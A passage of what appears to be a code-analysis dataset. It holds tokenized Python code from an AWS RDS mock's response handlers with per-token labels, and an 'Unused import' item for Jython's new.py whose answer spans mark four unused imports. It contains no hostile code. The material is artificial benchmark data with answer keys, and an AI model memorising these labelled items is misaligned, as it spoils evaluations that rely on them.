"'", "DB", "Secur", "it", "y", "Group", "Descripti", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "security", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "create", "\\u", "security", "\\u", "group_", "(_", "group", "\\u", "name_", ",_", "description_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "CREATE", "\\u", "SECURITY", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "security", "\\u", "group_", "=_", "security", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "dbse", "curi", "ty", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "descri", "be", "\\u", "db", "\\u", "security", "\\u", "groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "db", "\\u", "security", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "security", "\\u", "group", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Secur", "it", "y", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "security", "\\u", "groups_", "=_", "self_", "._", "backend_", "._", "descri", "be", "\\u", "security", "\\u", "groups_", "(_", "security", "\\u", "group", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DESC", "RIB", "E", "\\u", "SECURITY", "\\u", "GROUPS", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "security", "\\u", "groups_", "=_", "security", "\\u", "groups_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "dbse", "curi", "ty", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "delete", "\\u", "db", "\\u", "security", "\\u", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "db", "\\u", "security", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "security", "\\u", "group", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Secur", "it", "y", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "security", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "delete", "\\u", "security", "\\u", "group_", "(_", "security", "\\u", "group", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DELET", "E", "\\u", "SECURITY", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "security", "\\u", "group_", "=_", "security", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "authoriz", "e\\u", "dbse", "curi", "ty", "\\u", "group", "\\u", "ingress", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "authoriz", "e\\u", "db", "\\u", "security", "\\u", "group", "\\u", "ingress", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "authoriz", "e\\u", "db", "\\u", "security", "\\u", "group", "\\u", "ingress", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "security", "\\u", "group", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Secur", "it", "y", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cid", "r", "\\u", "ip_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "CIDR", "IP", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "security", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "authoriz", "e\\u", "security", "\\u", "group_", "(_", "security", "\\u", "group", "\\u", "name_", ",_", "cid", "r", "\\u", "ip_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "AUTHORI", "ZE", "\\u", "SECURITY", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "security", "\\u", "group_", "=_", "security", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "dbs", "ub", "net", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "create", "\\u", "db", "\\u", "subnet", "\\u", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "db", "\\u", "subnet", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subnet", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Subnet", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Subnet", "Group", "Descripti", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subnet", "\\u", "ids_", "=_", "self_", "._", "\\u", "get", "\\u", "multi", "\\u", "param_", "(_", "'", "Subnet", "Id", "s", ".", "member", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subnets_", "=_", "[_", "ec", "2", "\\u", "backends_", "[_", "self_", "._", "region_", "]_", "._", "get", "\\u", "subnet_", "(_", "subnet", "\\u", "id_", ")_", "for_", "subnet", "\\u", "id_", "in_", "subnet", "\\u", "ids_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subnet", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "create", "\\u", "subnet", "\\u", "group_", "(_", "subnet", "\\u", "name_", ",_", "description_", ",_", "subnets_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "CREATE", "\\u", "SUB", "NET", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "subnet", "\\u", "group_", "=_", "subnet", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "dbs", "ub", "net", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "descri", "be", "\\u", "db", "\\u", "subnet", "\\u", "groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "db", "\\u", "subnet", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subnet", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Subnet", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subnet", "\\u", "groups_", "=_", "self_", "._", "backend_", "._", "descri", "be", "\\u", "subnet", "\\u", "groups_", "(_", "subnet", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DESC", "RIB", "E", "\\u", "SUB", "NET", "\\u", "GROUPS", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "subnet", "\\u", "groups_", "=_", "subnet", "\\u", "groups_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "dbs", "ub", "net", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "delete", "\\u", "db", "\\u", "subnet", "\\u", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "db", "\\u", "subnet", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subnet", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Subnet", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subnet", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "delete", "\\u", "subnet", "\\u", "group_", "(_", "subnet", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DELET", "E", "\\u", "SUB", "NET", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "subnet", "\\u", "group_", "=_", "subnet", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "option", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "self_", "._", "\\u", "get", "\\u", "option", "\\u", "group", "\\u", "kwargs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "option", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "create", "\\u", "option", "\\u", "group_", "(_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "CREATE", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "option", "\\u", "group_", "=_", "option", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "option", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "self_", "._", "\\u", "get", "\\u", "option", "\\u", "group", "\\u", "kwargs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "option", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "delete", "\\u", "option", "\\u", "group_", "(_", "kwargs_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DELET", "E", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "option", "\\u", "group_", "=_", "option", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "option", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "self_", "._", "\\u", "get", "\\u", "option", "\\u", "group", "\\u", "kwargs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kwargs_", "[_", "'", "max", "\\u", "record", "s", "'_", "]_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Max", "Record", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kwargs_", "[_", "'", "marker", "'_", "]_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Mark", "er", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "option", "\\u", "groups_", "=_", "self_", "._", "backend_", "._", "descri", "be", "\\u", "option", "\\u", "groups_", "(_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DESC", "RIB", "E", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "option", "\\u", "groups_", "=_", "option", "\\u", "groups_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "option", "\\u", "group", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eng", "ine", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Engine", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "major", "\\u", "eng", "ine", "\\u", "version_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Maj", "or", "Engine", "Version", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "option", "\\u", "group", "\\u", "options_", "=_", "self_", "._", "backend_", "._", "descri", "be", "\\u", "option", "\\u", "group", "\\u", "options_", "(_", "eng", "ine", "\\u", "name_", ",_", "major", "\\u", "eng", "ine", "\\u", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "option", "\\u", "group", "\\u", "options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "modif", "y", "\\u", "option", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "option", "\\u", "group", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "n", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options", "\\u", "to", "\\u", "include_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Include", ".", "member", ".", "{", "0", "}.", "Optio", "n", "Name", "'_", "._", "format_", "(_", "count_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options", "\\u", "to", "\\u", "include_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Port", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Include", ".", "member", ".", "{", "0", "}.", "Port", "'_", "._", "format_", "(_", "count_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Optio", "n", "Name", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Include", ".", "member", ".", "{", "0", "}.", "Optio", "n", "Name", "'_", "._", "format_", "(_", "count_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "DB", "Secur", "it", "y", "Group", "Membership", "s", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Include", ".", "member", ".", "{", "0", "}.", "DB", "Secur", "it", "y", "Group", "Membership", "s", "'_", "._", "format_", "(_", "count_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Optio", "n", "Sett", "ings", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Include", ".", "member", ".", "{", "0", "}.", "Optio", "n", "Sett", "ings", "'_", "._", "format_", "(_", "count_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Vp", "c", "Secur", "it", "y", "Group", "Membership", "s", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Include", ".", "member", ".", "{", "0", "}.", "Vp", "c", "Secur", "it", "y", "Group", "Membership", "s", "'_", "._", "format_", "(_", "count_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "count_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options", "\\u", "to", "\\u", "remove_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Remove", ".", "member", ".", "{", "0", "}'_", "._", "format_", "(_", "count_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options", "\\u", "to", "\\u", "remove_", "._", "append_", "(_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "ns", "To", "Remove", ".", "member", ".", "{", "0", "}'_", "._", "format_", "(_", "count_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "appl", "y", "\\u", "immediate", "ly_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Apply", "Immediate", "ly", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "option", "\\u", "group_", "=_", "self_", "._", "backend_", "._", "modif", "y", "\\u", "option", "\\u", "group_", "(_", "option", "\\u", "group", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options", "\\u", "to", "\\u", "include_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options", "\\u", "to", "\\u", "remove_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "appl", "y", "\\u", "immediate", "ly_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "MODIFY", "\\u", "OPTION", "\\u", "GROU", "P", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "option", "\\u", "group_", "=_", "option", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
babble/babble/include/jython/Lib/new.py
[ { "content": "\"\"\"Create new objects of various types. Deprecated.\n\nThis module is no longer required except for backward compatibility.\nObjects of most types can now be created by calling the type object.\n\"\"\"\n\n# XXX: Hack for types.ClassType not supporting creation of new style\n# classes; see org.python.modules._newmodule.classobj for more info\n#from types import ClassType as classobj\nfrom _new import classobj\nfrom types import FunctionType as function\nfrom types import InstanceType as instance\nfrom types import MethodType as instancemethod\nfrom types import ModuleType as module\n\n# XXX: Jython can't really create a code object like CPython does\n# (according to test.test_new)\n## CodeType is not accessible in restricted execution mode\n#try:\n# from types import CodeType as code\n#except ImportError:\n# pass\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from _new import classobj", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 25 }, { "span": "from types import FunctionType as function", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 42 }, { "span": "from types import MethodType as instancemethod", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 46 }, { "span": "from types import ModuleType as module", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 38 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "Creat", "e", " ", "new", " ", "object", "s", " ", "of", " ", "vari", "ous", " ", "types", ".", " ", " ", "Dep", "reca", "ted", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "module", " ", "is", " ", "no", " ", "long", "er", " ", "require", "d", " ", "except", " ", "for", " ", "back", "ward", " ", "compatibility", ".", "\\", "10", ";", "Object", "s", " ", "of", " ", "most", " ", "types", " ", "can", " ", "now", " ", "be", " ", "created", " ", "by", " ", "calling", " ", "the", " ", "type", " ", "object", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "XX", "X", ":", " ", "Hack", " ", "for", " ", "types", ".", "Class", "Type", " ", "not", " ", "support", "ing", " ", "creati", "on", " ", "of", " ", "new", " ", "style_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "classe", "s", ";", " ", "see", " ", "org", ".", "python", ".", "module", "s", ".\\u", "newm", "odule", ".", "class", "obj", " ", "for", " ", "more", " ", "info_", "\\u\\u\\uNL\\u\\u\\u_", "#", "from", " ", "types", " ", "import", " ", "Class", "Type", " ", "as", " ", "class", "obj_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u", "new_", "import_", "class", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "types_", "import_", "Function", "Type_", "as_", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "types_", "import_", "Insta", "nce", "Type_", "as_", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "types_", "import_", "Meth", "od", "Type_", "as_", "instance", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "types_", "import_", "Modul", "e", "Type_", "as_", "module_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "XX", "X", ":", " ", "Jy", "tho", "n", " ", "can", "'", "t", " ", "reall", "y", " ", "create", " ", "a", " ", "code", " ", "object", " ", "like", " ", "CP", "yth", "on", " ", "doe", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "according", " ", "to", " ", "test", ".", "test\\u", "new", ")_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Code", "Type", " ", "is", " ", "not", " ", "accessible", " ", "in", " ", "restrict", "ed", " ", "executi", "on", " ", "mode_", "\\u\\u\\uNL\\u\\u\\u_", "#", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "from", " ", "types", " ", "import", " ", "Code", "Type", " ", "as", " ", "code_", "\\u\\u\\uNL\\u\\u\\u_", "#", "except", " ", "Import", "Error", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_" ]
